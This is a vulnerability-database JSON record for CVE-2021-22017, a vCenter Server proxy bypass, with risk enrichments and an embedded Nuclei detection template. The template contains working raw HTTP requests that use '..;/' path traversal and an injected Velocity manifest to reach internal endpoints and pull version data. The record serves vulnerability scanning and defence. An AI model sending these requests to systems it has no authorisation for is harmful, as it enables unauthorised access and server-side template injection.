{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-22017/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-22017/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-22017/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-22017/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-22017/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-22017"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-22017"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.49177,
      "kev": true,
      "percentile": 0.98831
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-22017.yaml",
      "nuclei_template_severity": "medium",
      "nuclei_template_yaml": "id: CVE-2021-22017\n\ninfo:\n  name: vCenter Server - Improper Access Control\n  author: daffainfo\n  severity: medium\n  description: |\n    Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to bypass proxy leading to internal endpoints being accessed.\n  impact: |\n    Attackers can bypass proxy restrictions and access internal endpoints, potentially leading to information disclosure or further internal network compromise.\n  remediation: |\n    Apply the latest security patches or updates provided by VMware for vCenter Server.\n  reference:\n    - https://github.com/wangsir01/docs/blob/7c20bbf43ae467c1bdc54c65c9a3230ae3e81d63/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90.md\n    - https://www.vmware.com/security/advisories/VMSA-2021-0020.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22017\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2021-22017\n    cwe-id: NVD-CWE-noinfo\n    epss-score: 0.49177\n    epss-percentile: 0.98831\n    cpe: cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: vmware\n    product: vcenter_server\n    shodan-query: VMware vCenter Server\n  tags: cve,cve2021,vmware,vcenter,vkev,kev\n\nflow: http(1) && http(2)\n\nvariables:\n  plugintype: \"{{randbase(8)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-Deployment-Secret: secret\n        X-Plugin-Type: {{plugintype}}\n\n        {\"manifestSpec\": {\"resourceId\": \"b1\", \"dataType\": \"b2\", \"objectId\": \"b3\", \"versionDataType\": \"b4\", \"versionObjectId\": \"b5\"}, \"objectType\": \"a1\", \"collectionTriggerDataNeeded\": true, \"deploymentDataNeeded\": true, \"resultNeeded\": true, \"signalCollectionCompleted\": true, \"localManifestPath\": \"a2\", \"localPayloadPath\": \"a3\", \"localObfuscationMapPath\": \"a4\"}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n          - 'len(body) == 0'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-Deployment-Secret: secret\n        X-Plugin-Type: {{plugintype}}\n\n        {\"manifestContent\": \"<manifest recommendedPageSize=\\\"500\\\">\\n   <request>\\n      <query name=\\\"vir:VCenter\\\">\\n         <constraint>\\n            <targetType>ServiceInstance</targetType>\\n         </constraint>\\n         <propertySpec>\\n            <propertyNames>content.about.instanceUuid</propertyNames>\\n            <propertyNames>content.about.osType</propertyNames>\\n            <propertyNames>content.about.build</propertyNames>\\n            <propertyNames>content.about.version</propertyNames>\\n         </propertySpec>\\n      </query>\\n   </request>\\n   <cdfMapping>\\n      <indepedentResultsMapping>\\n         <resultSetMappings>\\n            <entry>\\n               <key>vir:VCenter</key>\\n               <value>\\n                  <value xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xsi:type=\\\"resultSetMapping\\\">\\n                     <resourceItemToJsonLdMapping>\\n                        <forType>ServiceInstance</forType>\\n                     <mappingCode><![CDATA[\\n                        #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())\\n                        #set($objectId = \\\"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\\\")\\n                        #set($obj = $LOCAL-cdf20Result.newObject(\\\"vim.ServiceInstance\\\", $objectId))\\n                        $obj.addProperty(\\\"MSG\\\", \\\"exist\\\")\\n                        $obj.addProperty(\\\"OSTYPE\\\", $content-about-osType)\\n                        $obj.addProperty(\\\"BUILD\\\", $content-about-build)\\n                        $obj.addProperty(\\\"VERSION\\\", $content-about-version)]]>\\n                     </mappingCode>\\n                     </resourceItemToJsonLdMapping>\\n                  </value>\\n               </value>\\n            </entry>\\n         </resultSetMappings>\\n      </indepedentResultsMapping>\\n   </cdfMapping>\\n   <requestSchedules>\\n      <schedule interval=\\\"1h\\\">\\n         <queries>\\n            <query>vir:VCenter</query>\\n         </queries>\\n      </schedule>\\n   </requestSchedules>\\n</manifest>\", \"contextData\": \"a2\", \"objectId\": \"a3\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'BUILD'\n          - 'VERSION'\n          - 'OSTYPE'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402201cbf5f2af740ae5a9d11bca3074c2c4ddb15dcd773edc93b8438c9e4f7dbd94f022078e591019eff12e6cf8035c69cfa8994becad022e8a61b2c6c6b221c6d2a15ff:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-22017"
}